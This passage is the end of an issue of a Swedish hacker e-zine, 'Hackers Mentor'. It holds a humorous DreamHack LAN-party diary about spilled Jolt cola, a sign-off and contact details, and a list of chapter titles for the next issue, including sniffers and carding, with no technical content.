(De deltagandes bidrag visades en/tv dagar innan upp p den stora monitorn).

SENT P LRDAG NATT Skulle jag plocka upp min gamla, gamla laptop ur vskan
och kom d t ett par sladdar som satt slingrade runt en burk med Jolt cola.
Burken vickade, jolten rann ut p tangentbordet, musmattan, mgtalarvggarna, stolen,
byxorna, Laptop sladdarna och golvet. Det enda som gick snder var dock tangentbordet.
Jag har aldrig hatat Jolt s mycket som just d. Tur som fan var att det inte rann ut p
grannens grejjer. Inte en droppe!, jag fick springa och hmta papper, byta byxor, torka av
stolen, sladdarna, hgtalarna, vskan, bordet, krama ur musmattan, vicka p tangentbordet
och hlla ut colan. Torka upp den, springa och slnga burken och papprena, tvtta hnderna,
g tillbaka och konstatera att jag lika grna kunde g och lgga mig.
Tltet dr de slde hrdvara hade slut p tangentbord. Databutiken var stngd.
Dagen drp, sndag, gick jag och skulle kpa ett nytt. Men, r inte butiken stngd p
sndag? Puh, de hade extrappet under DreamHack.

- Detta r det enda vi har kvar, det kostar, men det r ju ocks det bsta dr,
sa butiksinnehavaren. Jo visst, 300:- fr ett nytt KeyTronic tangentbord var vl ok..
Men 300 minus p grund av en burk med Jolt. ARGGG!!

Snyggt var det, jag skriver p det nu. Men jag fr psykbryte! Tangenterna sitter fr brett
isr och det lter hgt som fan nr man knapprar p det. Pang! Pang!  dr slog jag p
mellanslags tangenten, s lst som mjligt. Pang! Pang!



Dag 5: sndag

Jag vaknade vid 12, kpte nytt tangentbord, packade ihop datorn och prylarna.
Robbs frldrar hmtade oss vid 13:00 tiden. Fy fan va trtt man blir.
VEN fast jag hade lyckats sovit mellan klockan 05:00 och 12:00 varje dag.

Det var svettigt, man luktade helvete. Klderna var inpyrda med koldioxid och Jolt.
Min madrass hade rkat lega bredvid en sopsck dr man kastade tomburkar. Sna dr
Joltisar med lite granna kvar i botten p. En sj av lsk hade samlat sig vid min madrass som
sg ut att ha blivit nedbltt av ngon som kissar i sngen. Det luktade inte srskiljt gott.

Vi kte hem, jag var pissndig hela vgen. Det var otroligt sknt att komma hem.
Jobbigt som tusan var det.. Men, var det roligt?? Jag vet faktist inte riktigt, men en sak
r sker.. Vi ker dit nsta r igen! D med lite  strre och starkare och tuffare utrustning!

DreamHack ska frmodligen d byta lokaler. Arenan ska byggas om till utbildningscenter.
(kanske). S vi fr se vart det blir d. Kom dit och trffa oss d! :-).

// DH Report 2k  icecoder.


Hr hade jag tnkt skriva lite om NT Hacking. Tacka mig fr att jag lt bli!
Jag har tyvrr haft fr lite tid ver fr Hackers Mentor p senaste tiden, men till sist kom den ut
till er. Det blir mer skojj i nsta bok. Ha det bra till dess!

// icecoder


Hitta de senaste uppdateringarna och bckerna p: www.insecurefoundation.cjb.net

Fr frgor och svar, maila:
ounder@lords.com .


Hackers Mentor  1998-2004  Insecure Foundation.
Hitta frfattaren samt teamet p #BIOS @ Dalnet  IRC.


I nsta nummer:

Kapitel 1: Introduktion och Inspiration.
Kapitel 2: Fortsatt C++ programmering.
Kapitel 3: Mer kommandon i Unix.
Kapitel 4: X och Shell programmering i Unix.
Kapitel 5: SYN Flooders och Sniffers
Kapitel 6: Tankar och ider.
Kapitel 7: Intressanta lnkar
Kapitel 8: Insndare och Greetings. (Prat frn IRC).
Kapitel 9: Allt om Carding.

